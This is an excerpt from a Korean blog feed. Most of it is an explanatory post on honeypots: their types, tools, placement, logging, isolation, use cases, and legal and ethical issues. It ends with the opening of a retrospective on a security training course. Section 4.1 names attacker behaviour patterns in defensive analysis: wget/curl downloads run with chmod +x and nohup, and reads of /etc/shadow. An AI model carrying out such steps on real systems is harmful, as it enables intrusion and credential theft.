<li><p><strong>보안 솔루션 학습 데이터 제공</strong>: 머신 러닝 기반 보안 탐지 시스템 개발을 위한 훈련 데이터셋 확보에도 기여한다.</p>
</li>
</ol>
<hr>
<h2 id="2-허니팟의-유형과-특성">2. 허니팟의 유형과 특성</h2>
<h3 id="21-로우-인터랙션low-interaction-허니팟">2.1 로우 인터랙션(Low-Interaction) 허니팟</h3>
<p>로우 인터랙션 허니팟은 제한된 수준의 서비스나 포트만을 시뮬레이션하는 허니팟이다. 공격자는 시스템과 간단한 수준의 상호작용만 가능하며, 실제 운영 체제나 애플리케이션이 동작하지 않는다.</p>
<ul>
<li><p><strong>예시 도구</strong>: Honeyd, Cowrie (SSH 및 텔넷 에뮬레이터), Dionaea (악성코드 수집용)</p>
</li>
<li><p><strong>장점</strong>:</p>
<ul>
<li>설치와 운영이 간단하며 자원 소모가 적음</li>
<li>공격자가 시도하는 기본적인 스캔, 자동화 도구 탐지에 유리</li>
</ul>
</li>
<li><p><strong>단점</strong>:</p>
<ul>
<li>공격자의 정교한 행위나 익스플로잇을 유도하거나 분석하기 어려움</li>
<li>탐지된 행위가 제한적이기 때문에 심화 분석이 불가능</li>
</ul>
</li>
<li><p><strong>활용 사례</strong>: 포트 스캔 탐지, 악성코드 수집용 센서, 대규모 허니팟 네트워크 구축</p>
</li>
</ul>
<h3 id="22-하이-인터랙션high-interaction-허니팟">2.2 하이 인터랙션(High-Interaction) 허니팟</h3>
<p>하이 인터랙션 허니팟은 실제 운영체제를 포함하거나, 실제 서비스를 실행하는 등 공격자에게 완전한 상호작용 환경을 제공하는 허니팟이다. 공격자는 일반 시스템처럼 완전히 접근하고 조작할 수 있다.</p>
<ul>
<li><p><strong>예시 도구</strong>: QEMU 기반 가상 머신, VMware + 실제 OS, Cuckoo Sandbox 등.</p>
</li>
<li><p><strong>장점</strong>:</p>
<ul>
<li>공격자의 정교한 동작, 익스플로잇, 루트킷 설치, 후속 활동 등 <strong>전체 행위 흐름을 관찰</strong>할 수 있음</li>
<li>신종 공격 탐지 및 악성코드 분석에 유리</li>
</ul>
</li>
<li><p><strong>단점</strong>:</p>
<ul>
<li>구축과 유지 비용이 높고, 침해 시 내부 네트워크로의 확산 위험 존재</li>
<li>샌드박싱 또는 가상환경 탐지 기술에 의해 회피 가능성 존재</li>
</ul>
</li>
<li><p><strong>활용 사례</strong>: 침해 사고 분석, APT 그룹 행위 연구, 정교한 보안 솔루션 개발</p>
</li>
</ul>
<h3 id="23-미디엄-인터랙션-허니팟-보충">2.3 미디엄 인터랙션 허니팟 (보충)</h3>
<p>미디엄 인터랙션 허니팟은 로우와 하이의 중간 정도의 상호작용을 제공하며, 실제 서비스의 핵심 기능을 에뮬레이션하여 보다 현실적인 반응을 제공하는 형태다.</p>
<ul>
<li><p><strong>예시 도구</strong>: Cowrie (SSH 명령 응답 시뮬레이션 포함), Glastopf (웹 애플리케이션 공격 탐지)</p>
</li>
<li><p><strong>특징</strong>:</p>
<ul>
<li>커맨드 응답, 간단한 파일 생성 등 제한된 상호작용 제공.</li>
<li>리소스 소비는 낮지만 분석 정보는 풍부함</li>
</ul>
</li>
<li><p><strong>장점</strong>:</p>
<ul>
<li>고위험 없이 더 많은 행위 관찰 가능</li>
<li>기본적인 익스플로잇과 명령 기반 공격에 대한 분석 가능</li>
</ul>
</li>
<li><p><strong>단점</strong>:</p>
<ul>
<li>실제 커널 수준 행위나 사용자 환경 조작까지는 불가능</li>
</ul>
</li>
</ul>
<h3 id="24-스팸-트랩spam-trap과-허니넷honeynet">2.4 스팸 트랩(Spam Trap)과 허니넷(Honeynet)</h3>
<p><strong>스팸 트랩</strong>은 이메일 스팸을 탐지하고 분석하기 위해 고의로 공개된 이메일 주소나 서버를 사용하는 특화된 허니팟이다.</p>
<ul>
<li><p><strong>기능</strong>: 스팸 발송자 IP 수집, 악성 URL 및 첨부파일 분석.</p>
</li>
<li><p><strong>활용</strong>: 이메일 보안 솔루션 테스트, 스팸 필터 강화, 피싱 도메인 식별.</p>
</li>
</ul>
<p><strong>허니넷(Honeynet)</strong> 은 하나의 허니팟이 아닌, 여러 대의 허니팟과 감시 시스템이 연결된 <strong>네트워크 전체를 시뮬레이션한 환경</strong>이다.</p>
<ul>
<li><p><strong>특징</strong>:</p>
<ul>
<li>로우/하이 인터랙션 허니팟 혼합 운영 가능</li>
<li>다양한 트래픽 유형, 공격 경로를 포괄하여 더 복잡한 분석 수행</li>
</ul>
</li>
<li><p><strong>도구</strong>: Honeywall (트래픽 제어 및 로깅), The Honeynet Project 배포 툴킷</p>
</li>
</ul>
<h3 id="25-물리적-vs-가상-허니팟">2.5 물리적 vs 가상 허니팟</h3>
<p><strong>물리적 허니팟</strong>은 실제 하드웨어 장비에 설치된 시스템으로 구성된 허니팟이다. 반면 <strong>가상 허니팟</strong>은 VMware, VirtualBox, QEMU 등 가상화 기술을 이용하여 구성된다.</p>
<table>
<thead>
<tr>
<th><strong><em>구분</em></strong></th>
<th><strong><em>물리적 허니팟</em></strong></th>
<th><strong><em>가상 허니팟</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>성능</td>
<td>고성능, 하드웨어 수준 제어</td>
<td>자원 절약, 유연한 테스트</td>
</tr>
<tr>
<td>탐지 가능성</td>
<td>낮음 (실제 시스템이므로)</td>
<td>일부 고급 공격자에게 탐지될 수 있음</td>
</tr>
<tr>
<td>구성 유연성</td>
<td>하드웨어 제약이 큼</td>
<td>OS/환경 전환 쉬움</td>
</tr>
<tr>
<td>활용 예</td>
<td>IoT/ICS 분석, 실제 공격 유도</td>
<td>대규모 네트워크 시뮬레이션, 자동화 운영</td>
</tr>
</tbody></table>
<ul>
<li><strong>선택 기준</strong><ul>
<li>정교한 공격자 관찰 → 물리적 환경 선호</li>
<li>광범위 트래픽 분석 및 자동 수집 → 가상 환경 활용</li>
</ul>
</li>
</ul>
<hr>
<h2 id="3-허니팟의-구축과-배포">3. 허니팟의 구축과 배포</h2>
<h3 id="31-허니팟-구축을-위한-주요-도구-및-소프트웨어">3.1 허니팟 구축을 위한 주요 도구 및 소프트웨어</h3>
<p>허니팟 구축에 사용되는 도구들은 상호작용 수준, 대상 공격 유형, 수집 목적에 따라 다양하다. 아래는 범용적으로 사용되는 주요 도구들이다:</p>
<ul>
<li><p><strong>Low-Interaction 허니팟 도구</strong></p>
<ul>
<li><strong>Dionaea</strong>: 악성코드 수집에 최적화된 허니팟으로 SMB, HTTP, FTP 등 다양한 프로토콜을 지원.</li>
<li><strong>Cowrie</strong>: SSH 및 Telnet 인터페이스를 에뮬레이션. 공격자가 로그인하면 명령을 실행하고, 파일 다운로드 행위 등을 로깅.</li>
<li><strong>Glastopf</strong>: 웹 애플리케이션 공격을 유도하기 위한 HTTP 기반 허니팟. SQLi, RFI, LFI 등을 탐지.</li>
</ul>
</li>
<li><p><strong>High-Interaction 허니팟 도구</strong></p>
<ul>
<li><strong>QEMU/KVM/VirtualBox + 실제 OS</strong>: 실제 운영체제를 실행하여 공격자의 정교한 행위를 관찰.</li>
<li><strong>Cuckoo Sandbox</strong>: 악성코드 동적 분석 환경으로, 자동화된 샌드박스를 구성해 허니팟처럼 활용 가능.</li>
</ul>
</li>
<li><p><strong>허니넷 구성 도구</strong></p>
<ul>
<li><strong>Honeywall (Roo)</strong>: Honeynet 프로젝트에서 제공하는 네트워크 기반 로깅 및 제어 툴.</li>
<li><strong>MHN (Modern Honey Network)</strong>: 여러 종류의 허니팟 데이터를 중앙에서 수집하고 시각화할 수 있도록 구성된 프레임워크.</li>
</ul>
</li>
<li><p><strong>분석 및 시각화 도구</strong></p>
<ul>
<li><strong>ELK Stack (Elasticsearch, Logstash, Kibana)</strong>: 허니팟 로그 데이터를 수집·분석·시각화.</li>
<li><strong>Splunk, Graylog</strong>: 로그 분석과 상관관계 분석에 활용.</li>
</ul>
</li>
</ul>
<h3 id="32-네트워크-내-허니팟-배치-전략">3.2 네트워크 내 허니팟 배치 전략</h3>
<p>허니팟을 효과적으로 운영하려면 네트워크 내 어디에 어떻게 배치하느냐가 중요하다. 주요 전략은 다음과 같다:</p>
<ul>
<li><p><strong>DMZ (De-Militarized Zone) 배치</strong></p>
<ul>
<li>웹 서버, 메일 서버 등 외부에 노출된 영역에 허니팟을 배치하여 외부 공격자를 유인.</li>
<li>외부 공격 흐름을 관찰하기 좋지만 내부 공격 탐지에는 부적절할 수 있음.</li>
</ul>
</li>
<li><p><strong>내부 네트워크 배치</strong></p>
<ul>
<li>중요 자산 주변에 배치하여 내부자 혹은 내부로 침입한 공격자를 탐지.</li>
<li>데이터 유출 시나리오, 횡적 이동 탐지에 효과적.</li>
</ul>
</li>
<li><p><strong>하이브리드 배치</strong></p>
<ul>
<li>DMZ 및 내부망 양쪽에 허니팟을 설치.</li>
<li>외부와 내부의 공격 흐름을 함께 분석할 수 있는 고급 전략.</li>
</ul>
</li>
<li><p><strong>Shadow 네트워크 구성</strong></p>
<ul>
<li>실제 시스템을 모방한 &quot;거울 시스템&quot;을 구성하고 공격자가 착각하게 만들어 유도.</li>
<li>고급 위협 그룹(APT) 분석에 적합.</li>
</ul>
</li>
</ul>
<blockquote>
<p>Tip: 허니팟임을 쉽게 탐지당하지 않도록, 네트워크 속성 및 서비스 설정이 실제 환경과 유사하게 구성되어야 한다.</p>
</blockquote>
<h3 id="33-허니팟의-모니터링-로깅-데이터-수집">3.3 허니팟의 모니터링, 로깅, 데이터 수집</h3>
<p>허니팟의 주된 목적 중 하나는 <strong>공격자의 행위 기록 및 분석</strong>이다. 이를 위해 고도화된 모니터링과 로깅 시스템이 필요하다.</p>
<ul>
<li><p><strong>시스템 로그 수집</strong></p>
<ul>
<li>syslog, journalctl, auth.log, command history 등을 수집.</li>
<li>Cowrie는 명령어 입력, 다운로드 시도, 세션 시간까지 모두 로깅함.</li>
</ul>
</li>
<li><p><strong>패킷 캡처 (Packet Capture)</strong></p>
<ul>
<li><code>tcpdump</code>, <code>Wireshark</code>, <code>Suricata</code> 등을 사용해 네트워크 트래픽을 저장.</li>
<li>TLS 비암호화 트래픽이나 스캔 시도, C2 통신 탐지에 유리.</li>
</ul>
</li>
<li><p><strong>파일 및 변경사항 추적</strong></p>
<ul>
<li>공격자가 업로드하거나 수정한 파일 자동 저장.</li>
<li><code>inotify</code>, <code>auditd</code>, 또는 Cowrie 내장 기능으로 추적.</li>
</ul>
</li>
<li><p><strong>중앙 수집 시스템 구축</strong></p>
<ul>
<li>Logstash + Elasticsearch + Kibana(ELK)를 사용하여 시각화 및 상관관계 분석.</li>
<li><code>filebeat</code> 또는 <code>rsyslog</code>를 통해 중앙 서버로 로그 전송.</li>
</ul>
</li>
</ul>
<blockquote>
<p>Tip: 민감 정보(예: 공격자의 IP, 악성파일 hash 등)는 분석에 핵심적이므로 반드시 정제하여 저장한다.</p>
</blockquote>
<h3 id="34-실제-시스템과-허니팟-간의-격리-기술">3.4 실제 시스템과 허니팟 간의 격리 기술</h3>
<p>허니팟은 공격자와 완전한 상호작용을 허용할 수 있으므로, 격리되지 않으면 내부 네트워크 전체가 위험해질 수 있다. 격리는 가장 중요한 보안 조치 중 하나이다.</p>
<ul>
<li><p><strong>네트워크 레벨 격리</strong></p>
<ul>
<li>별도의 VLAN, 가상 네트워크, DMZ에 구성.</li>
<li>라우팅 제어 및 방화벽으로 외부 네트워크와의 연결만 허용.</li>
</ul>
</li>
<li><p><strong>호스트 기반 격리</strong></p>
<ul>
<li>가상 머신 사용 시 내부 브리지 없이 Host-Only 또는 NAT 설정.</li>
<li><code>iptables</code> 또는 <code>ebtables</code>을 통해 트래픽 제어.</li>
</ul>
</li>
<li><p><strong>컨테이너 격리</strong></p>
<ul>
<li>Docker 등의 컨테이너 기반 허니팟은 네임스페이스, cgroups 등을 통해 자원 접근을 제어.</li>
<li><code>seccomp</code>, AppArmor, SELinux 등을 활용하여 시스템 호출 제한.</li>
</ul>
</li>
<li><p><strong>IDS/IPS와의 연계</strong></p>
<ul>
<li>허니팟에 접근하는 모든 트래픽은 IDS/IPS를 거쳐야 하며, 이상 징후는 즉시 알림.</li>
<li>Snort, Suricata, Zeek(Bro) 등과 연계 가능.</li>
</ul>
</li>
</ul>
<blockquote>
<p>보안 권장 사항</p>
<ul>
<li>허니팟이 침해되어도 내부 시스템에 영향을 주지 않도록 “one-way trap” 구조를 사용.</li>
<li>백도어 설치 여부를 대비하여 주기적인 무결성 검사가 필요하다 (<code>AIDE</code>, <code>Tripwire</code> 등 활용).</li>
</ul>
</blockquote>
<hr>
<h2 id="4-허니팟의-실제-활용-사례">4. 허니팟의 실제 활용 사례</h2>
<h3 id="41-공격자-행위-분석-및-전술-도출">4.1 공격자 행위 분석 및 전술 도출</h3>
<p>허니팟은 공격자의 <em>Tactics, Techniques, and Procedures (TTPs)</em> 를 수집하는 데 매우 유용하다. 공격자가 허니팟에 침입하면, 그들의 행위는 자동으로 기록되어 다음과 같은 분석이 가능하다:</p>
<ul>
<li><p><strong>명령어 분석</strong>:</p>
<ul>
<li>Cowrie와 같은 SSH 허니팟은 공격자가 사용하는 명령어를 상세히 로깅하여, 공격 흐름 파악이 가능.</li>
<li>예: <code>wget</code>, <code>curl</code>, <code>chmod +x</code>, <code>nohup</code> 등 악성 바이너리 다운로드 및 실행 흐름 파악.</li>
</ul>
</li>
<li><p><strong>행동 패턴 도출</strong>:</p>
<ul>
<li>공격자가 특정 경로를 탐색하거나 설정 파일(<code>.bash_history</code>, <code>/etc/shadow</code>)을 검색하는지 확인.</li>
<li>백도어 생성 여부, 사용자 추가 등 장기적 권한 확보 시도를 확인할 수 있음.</li>
</ul>
</li>
<li><p><strong>자동화 도구 식별</strong>:</p>
<ul>
<li>특정 봇넷 혹은 공격 툴킷에서 생성하는 명령 시퀀스를 식별.</li>
<li>예: Mirai 봇넷은 공통된 Telnet 접근 시도 패턴을 보임.</li>
</ul>
</li>
<li><p><strong>MITRE ATT&amp;CK 매핑</strong>:</p>
<ul>
<li>수집된 TTP를 기반으로 MITRE ATT&amp;CK 프레임워크에 매핑하여 공격자의 목표 및 기술 수준 평가 가능.</li>
<li>예: Initial Access → Execution → Persistence → Exfiltration 단계를 추적.</li>
</ul>
</li>
</ul>
<blockquote>
<p>결과적으로 허니팟은 단순한 탐지 도구가 아닌, 공격자의 사고방식과 전략을 추론하는 위협 인텔리전스 자산으로 활용된다.</p>
</blockquote>
<h3 id="42-악성코드-샘플-수집-및-역공학">4.2 악성코드 샘플 수집 및 역공학</h3>
<p>허니팟은 악성코드 샘플을 직접 수집할 수 있는 귀중한 소스다. 특히, 파일 업로드, 자동 실행 스크립트, C2 연결 등을 통해 다음과 같은 분석이 이루어진다:</p>
<ul>
<li><p><strong>자동 수집</strong>:</p>
<ul>
<li>Dionaea, Cowrie 등은 자동으로 업로드 파일 또는 URL 기반 바이너리를 다운로드하여 저장함.</li>
<li>저장 시 SHA-256 해시, 다운로드 경로, 접속 IP 등 메타데이터 포함.</li>
</ul>
</li>
<li><p><strong>동적 분석</strong>:</p>
<ul>
<li>수집된 악성코드를 <strong>Cuckoo Sandbox</strong> 같은 환경에 투입해 행위를 분석.</li>
<li>파일 시스템 변경, 네트워크 연결, 레지스트리 접근 등의 정보를 파악.</li>
</ul>
</li>
<li><p><strong>정적 분석 및 역공학</strong>:</p>
<ul>
<li>Ghidra, IDA Pro, Radare2 등을 활용한 이진 파일 분석.</li>
<li>공격자 코드 내의 문자열, C2 주소, 암호화 루틴, 키로깅 코드 등 분석.</li>
</ul>
</li>
<li><p><strong>샘플 공유</strong>:</p>
<ul>
<li>분석된 샘플은 <strong>VirusTotal</strong>, <strong>MalwareBazaar</strong>, <strong>AnyRun</strong>, <strong>HybridAnalysis</strong> 등에 업로드되어 타 보안 커뮤니티와 위협 정보 공유 가능.</li>
</ul>
</li>
</ul>
<blockquote>
<p>허니팟을 통한 악성코드 수집은 위협 헌팅(Threat Hunting), IOC(Indicator of Compromise) 생성, 시그니처 업데이트에 매우 큰 기여를 한다.</p>
</blockquote>
<h3 id="43-침입-탐지-시스템ids-및-위협-인텔리전스-연계">4.3 침입 탐지 시스템(IDS) 및 위협 인텔리전스 연계</h3>
<p>허니팟은 IDS 및 위협 인텔리전스 시스템과 연계되면서 실시간 방어체계에 기여할 수 있다.</p>
<ul>
<li><p><strong>IDS/IPS 연계</strong>:</p>
<ul>
<li>Suricata, Snort, Zeek(Bro) 등 IDS에서 허니팟의 트래픽 로그를 실시간 분석.</li>
<li>비정상 접근 패턴을 탐지하면 경고 및 차단 규칙 자동 갱신 가능.</li>
</ul>
</li>
<li><p><strong>SIEM 통합</strong>:</p>
<ul>
<li>Splunk, ELK Stack, Wazuh 등을 통해 허니팟 로그를 중앙에서 관리 및 시각화.</li>
<li>다른 보안 이벤트와 상관 분석을 통해 위협의 진짜 우선순위를 파악.</li>
</ul>
</li>
<li><p><strong>Threat Intelligence Feed 구축</strong>:</p>
<ul>
<li>허니팟을 통해 수집한 악성 IP, C2 주소, 해시값 등을 IOC로 정제하여 내부 위협 정보 저장소에 추가.</li>
<li>공유 가능한 STIX/TAXII 포맷으로 변환하여 타 기관과 공유 가능.</li>
</ul>
</li>
<li><p><strong>자동화된 대응 시스템</strong>:</p>
<ul>
<li>SOAR(Security Orchestration, Automation and Response) 시스템과 연동하여 특정 공격 시 방화벽 차단, 관리자 경고, 티켓 생성 등을 자동 처리.</li>
</ul>
</li>
</ul>
<blockquote>
<p>핵심 이점: 허니팟은 단순 수동 관찰 도구를 넘어, 능동적인 사이버 방어 인프라의 일부로 활용 가능하다.</p>
</blockquote>
<h3 id="44-기업-및-기관에서의-운영-사례">4.4 기업 및 기관에서의 운영 사례</h3>
<p>실제 기업이나 공공기관에서도 허니팟은 정보보호 체계 내 중요한 요소로 자리 잡고 있다. 운영 목적과 방식은 다양하다:</p>
<ul>
<li><p><strong>공공기관</strong> (예: 국가 CERT, 국방부, 연구기관)</p>
<ul>
<li>공격 트렌드 분석과 국가 차원의 위협 인텔리전스 확보.</li>
<li>예: 한국인터넷진흥원(KISA)도 국가 침해사고 탐지 목적의 허니팟을 운영함.</li>
</ul>
</li>
<li><p><strong>금융권</strong> (은행, 카드사 등)</p>
<ul>
<li>계좌 탈취, 피싱, 웹 기반 공격 탐지 및 대응 시나리오 수립.</li>
<li>실제 웹 서비스와 유사한 미끼 시스템을 활용해 내부 보안 대응력 테스트.</li>
</ul>
</li>
<li><p><strong>보안 전문 기업</strong></p>
<ul>
<li>실시간 위협 모니터링 서비스 제공을 위해 수십~수백 개의 허니팟을 분산 운영.</li>
<li>각국 공격자의 TTP, 신종 악성코드 등을 빠르게 수집하고 분석.</li>
</ul>
</li>
<li><p><strong>산업 제어 시스템(ICS)/SCADA 환경</strong></p>
<ul>
<li>공장 자동화 시스템에 위장된 PLC 또는 RTU 허니팟을 배치하여 내부 위협 탐지.</li>
<li>실제 작동하지 않지만, HMI 인터페이스와 통신하는 것처럼 보이도록 설계.</li>
</ul>
</li>
</ul>
<blockquote>
<p>운영 시 주의점: 현실적인 구성과 공격자 유인을 위한 콘텐츠가 중요하며, 내부망에 대한 안전한 분리와 철저한 모니터링이 필수다.</p>
</blockquote>
<hr>
<h2 id="5-허니팟-운영-시-법적-및-윤리적-고려사항">5. 허니팟 운영 시 법적 및 윤리적 고려사항</h2>
<h3 id="51-개인정보-보호-및-로그-처리상의-법적-책임">5.1 개인정보 보호 및 로그 처리상의 법적 책임</h3>
<p>허니팟은 공격자의 활동을 감시하고 분석하기 위해 트래픽, 명령어, 파일, IP 주소, 인증 시도 기록 등을 수집하게 되며, 이 과정에서 개인정보 혹은 준(準)개인정보가 포함될 가능성이 있다. 이에 따라 다음과 같은 법적 고려가 필요하다.</p>
<ul>
<li><p><strong>국내법 기준</strong> (개인정보보호법, 정보통신망법 등):</p>
<ul>
<li>공격자의 IP, 로그인 ID, 인증 정보, 사용된 파일명 등은 특정인을 식별할 수 있는 정보로 간주될 수 있음.</li>
<li>따라서 &quot;정보 수집의 목적과 범위&quot;, &quot;저장 기간&quot;, &quot;3자 제공 여부&quot; 등에 대한 내부 정책이 명확해야 하며, 가능하면 익명화 처리를 병행해야 함.</li>
</ul>
</li>
<li><p><strong>보안 로그 관리 책임</strong>:</p>
<ul>
<li>허니팟의 로그가 기업 보안시스템과 통합될 경우, 로그 접근권한 관리, 암호화 저장, 무결성 보호가 필수적임.</li>
<li>특히 로그 조작 및 유출 시 형사적 책임이 따를 수 있음 (예: 로그를 통해 해커 정보를 유출하거나 상업적으로 이용할 경우).</li>
</ul>
</li>
<li><p><strong>국외 기준 사례</strong>:</p>
<ul>
<li>미국의 경우, 허니팟 로그가 제3자의 법적 증거로 사용되는 일이 종종 있으며, 이때는 Chain of Custody 확보가 필요함.</li>
<li>GDPR(EU General Data Protection Regulation)은 IP 주소도 개인정보로 간주하므로, 유럽 사용자 대상의 허니팟에는 엄격한 보안 기준이 적용됨.</li>
</ul>
</li>
</ul>
<blockquote>
<p>실무에서: 허니팟 로그는 최소 수집 원칙, 기한 종료 후 파기, 별도 저장소 분리, 접근 감사 기록 유지 등을 기본 정책으로 채택해야 한다.</p>
</blockquote>
<h3 id="52-엔트랩먼트entrapment-논란과-윤리-문제">5.2 엔트랩먼트(Entrapment) 논란과 윤리 문제</h3>
<p>허니팟은 본질적으로 공격자를 유인하는 장치이므로, 다음과 같은 윤리적 및 법적 문제가 논란이 된다:</p>
<ul>
<li><p><strong>엔트랩먼트(함정수사) 개념</strong>:</p>
<ul>
<li>형사법적 개념의 &#39;엔트랩먼트&#39;는 수사기관이 의도적으로 범죄를 유도하여 처벌하는 행위를 의미하며, 일부 국가에서는 불법으로 간주.</li>
<li>민간 기업이나 연구기관이 허니팟을 운영하는 경우, 엔트랩먼트에 해당하지 않는다는 입장이 많지만, 유도 행위가 노골적일 경우 논란이 될 수 있음.</li>
</ul>
</li>
<li><p><strong>도덕적 회색지대</strong>:</p>
<ul>
<li>공격자가 허니팟이라는 사실을 모르고 접근하여 개인정보, 인증 정보 등을 남겼을 때, 이를 연구 목적으로 활용하는 것이 윤리적으로 정당한가?</li>
<li>또한 실제로 피해가 없는 시스템임에도 불구하고 공격자를 고발하거나 제재할 수 있는가에 대한 논의도 존재함.</li>
</ul>
</li>
<li><p><strong>정책적 해결 방안</strong>:</p>
<ul>
<li>허니팟의 목적이 탐지 및 방어를 위한 합리적 수준인지, 아니면 공격자를 일부러 함정에 빠뜨리는 행위인지 판단 기준이 필요.</li>
<li>&quot;적극적인 유도&quot;가 아닌 &quot;비활성 시스템에 대한 수동적인 기록&quot;에 한정하는 것이 일반적으로 권장됨.</li>
</ul>
</li>
</ul>
<blockquote>
<p>실무에서: 허니팟 운영에 있어 공격자가 실질적으로 피해를 입지 않도록 주의하고, 도발적 메시지, 유도성 링크 삽입 등은 피하는 것이 좋다.</p>
</blockquote>
<h3 id="53-허니팟-운용을-위한-정책-수립과-가이드라인">5.3 허니팟 운용을 위한 정책 수립과 가이드라인</h3>
<p>허니팟은 기술적 시스템이지만, 안전하고 합법적으로 운용되기 위해서는 반드시 조직 차원의 명확한 정책 및 절차가 필요하다. 다음은 주요 구성 요소다:</p>
<ul>
<li><p><strong>운영 목적 명시</strong>:</p>
<ul>
<li>허니팟을 통해 어떤 정보를 수집하고, 이를 어떻게 분석·활용할 것인지에 대한 목적을 문서화.</li>
<li>예: 내부 침입 시도 탐지, 외부 위협 트렌드 분석, 보안 솔루션 테스트용 등.</li>
</ul>
</li>
<li><p><strong>운영 범위 및 위치 지정</strong>:</p>
<ul>
<li>네트워크상에서 허니팟이 위치한 영역, 방화벽 룰, 허용 포트 등을 명확히 설정.</li>
<li>생산 환경과 분리되어야 하며, 내부 시스템에 대한 영향 최소화 필요.</li>
</ul>
</li>
<li><p><strong>접근 제어 및 로그 관리 정책</strong>:</p>
<ul>
<li>허니팟 관련 데이터에 접근할 수 있는 담당자, 분석가, 보안 관리자 권한 구분.</li>
<li>로그의 보존 기간, 암호화 저장, 외부 공유 기준 등도 포함해야 함.</li>
</ul>
</li>
<li><p><strong>침해사고 대응 연계 프로세스</strong>:</p>
<ul>
<li>허니팟에서 탐지된 이벤트가 실제 위협일 경우, 내부 CSIRT(Computer Security Incident Response Team) 또는 CERT와 연동.</li>
<li>허위 경보(False Positive) 관리, 자동화된 블랙리스트 반영 여부 등도 사전에 결정.</li>
</ul>
</li>
<li><p><strong>법무/윤리 담당 부서 협의</strong>:</p>
<ul>
<li>허니팟 구축 전, 법무팀과 개인정보보호 담당자의 사전 검토 필요.</li>
<li>특히 민감정보가 수집되는 환경이라면, 별도의 가명화 처리 및 보관 정책이 필수.</li>
</ul>
</li>
</ul>
<blockquote>
<p>국내 예시: KISA(한국인터넷진흥원)는 사이버 위협 정보 수집을 위한 허니넷 운영 시, 내부 정보보호 정책과 연계된 별도 관리체계를 운영하고 있으며, 로그와 탐지 이벤트를 외부로 공유할 때는 비식별화를 원칙으로 하고 있다.</p>
</blockquote>
<hr>
<h2 id="6-마무리">6. 마무리</h2>
<p>오랜만에 돌아오니 Daily CS 작성도 생각보다 굉장히... 재밌었다(?). 구름 교육도 종료되고, 자격증 공부와 함께 완전한 자유 속에서의 자기계발을 맛보니 더 그런 것 같다.</p>
<p>참고로 이 글을 쓰는 지금은 4월 14일 밤인데, 밖에는 눈이 오고 있다... 4월 중순에 0도 맞아 이거?</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Goorm DeepDive 수료 후기]]></title>
            <link>https://velog.io/@lilac_21/Goorm-DeepDive-%EC%88%98%EB%A3%8C-%ED%9B%84%EA%B8%B0</link>
            <guid>https://velog.io/@lilac_21/Goorm-DeepDive-%EC%88%98%EB%A3%8C-%ED%9B%84%EA%B8%B0</guid>
            <pubDate>Wed, 19 Mar 2025 16:38:36 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가며">들어가며</h2>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/cd0642e5-a3ba-4957-9bdf-3286a273c265/image.png" alt=""></p>
<p>그간 42서울이나 해커톤, Econet 프로젝트 등 여러 활동을 하면서 느낀 바가 참 많았다. 때문에 평소 사용하는 Obsidian에 틈틈이 기록했던 내용들을 업로드 하는 식으로 기록을 남겨왔다. 그럼에도 과정 전체가 마무리된 후 회고를 제대로 작성한 적은 별로 없었던 것 같다.</p>
<p>그리고 때마침, 어제(2025.03.18) 휴학까지 감수하고 참여한 구름톤 딥다이브 정보보호 전문가 양성과정 9회차가 마무리되었다. 작년 8월부터였으니, 근 8개월 동안 함께한 동료들과 배운 것들, 느낀 점들은 정말... 따로 남겨놓지 않으면 후회할 거라는 강한 확신이 들었다.</p>
<p>물론 전부 시간순으로 정리하기엔 포스트 1개로는 한참 부족할 테니, 기억에 남는 것들을 찬찬히 정리해보려 한다. 가볍게 작성할 요량이니, 읽어주시는 분들(이 있다면)은 그냥 재미로만 봐주시면 좋겠습니다~</p>
<hr>
<h2 id="왜-했는가">왜 했는가</h2>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/a76630c4-9946-40e7-920c-5c72c92bb535/image.png" alt=""></p>
<p>모두가 진로를 정하기 시작한다는 대학교 3학년 1학기, 학과 세미나에서 버그 바운티 활동을 하시는 멘토님의 강연을 듣게 되었다. 당시 보안 쪽 지망이 많지 않았던 점을 고려해주셨는지, 포너블/리버싱/웹 등 정보보안의 가장 기초이자 입문에 가까운 내용들 부터 실무가 어떤 느낌으로 돌아가는지 등, 정말 많은 내용을 풀어주셨던 기억이 난다.</p>
<p>당시 시험이 끝났었는지, 알 수 없는 고양감에 휩싸여 있던 나는 그 자리에서 진로를 정보보안으로 정해버렸다. 어차피 뭘 골라도 고되고 힘들 텐데, 좋아하는 거 하면서 힘들고 싶다(?)는 생각을 했기 때문이다. 다행스럽게도, 이 생각은 아직까지도 변하지 않았다.</p>
<p>그렇게 여름방학을 맞이한 나는 ctf 조금, 드림핵 로드맵 조금을 섞어 가며 지식을 쌓기 위해 노력했다. 하지만... 그렇게 공부를 하면 할 수록 &quot;제대로 배우고 싶다&quot;는 생각은 강해져만 갔다. 그러다 인터넷에서 광고로 뜬 구름톤 딥다이브 모집 공고를 보았고, 정말 별 고민 없이 신청해 버렸다. 지금 와서 보니, 이 과정이 약간은 &quot;졸업생 대상&quot; 느낌이 없지 않지만 그래도 잘한 선택이었다고 생각한다.</p>
<h2 id="뭐-했나요">뭐 했나요?</h2>
<p>당장에 기억나는 걸 꼽으라면 다음과 같다.</p>
<ul>
<li>CTF 스터디(조별 자율 스터디)</li>
<li>교육 세션</li>
<li>3번의 세미 프로젝트</li>
<li>파이널 프로젝트</li>
</ul>
<p>물론 저 중에 핵심은 파이널 프로젝트겠지만, 하나하나가 정말 소중한 경험들이었다. 그러니 천천히 풀어보자.</p>
<h2 id="ot">OT</h2>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/f7797d80-ce0a-42be-b436-8ec8c85f38aa/image.png" alt=""></p>
<p>OT는 이야기를 하지 않을 수 없지...</p>
<p>당시 OT는 판교에 있는 구름스퀘어? 에서 진행했던 걸로 기억한다. 집과 학교, 헬스장만 다녀본 내가 나서기엔 너무 먼 길이었지만, 막상 엄청난 빌딩을 보고 나니 감탄만 했던 것 같다.</p>
<p>어떻게 길을 잘 찾아 OT가 진행되는 방으로 들어가니 왠지 모르게 2~3명 정도의 교육생 분들이 모여 노트북으로 무언갈 보고 있었다. 왠지 나도 그래야 할 것 같아 가져온 노트북으로 (그 당시 기준) 얼마 전에 마무리한 프로젝트의 백엔드 코드를 좀 만지작 거리다 보니... 주변 자리가 차기 시작했다.</p>
<p>그리고 그 분들이 바로... 파이널 프로젝트까지 함께한 역전의 용사들 되시겠다.</p>
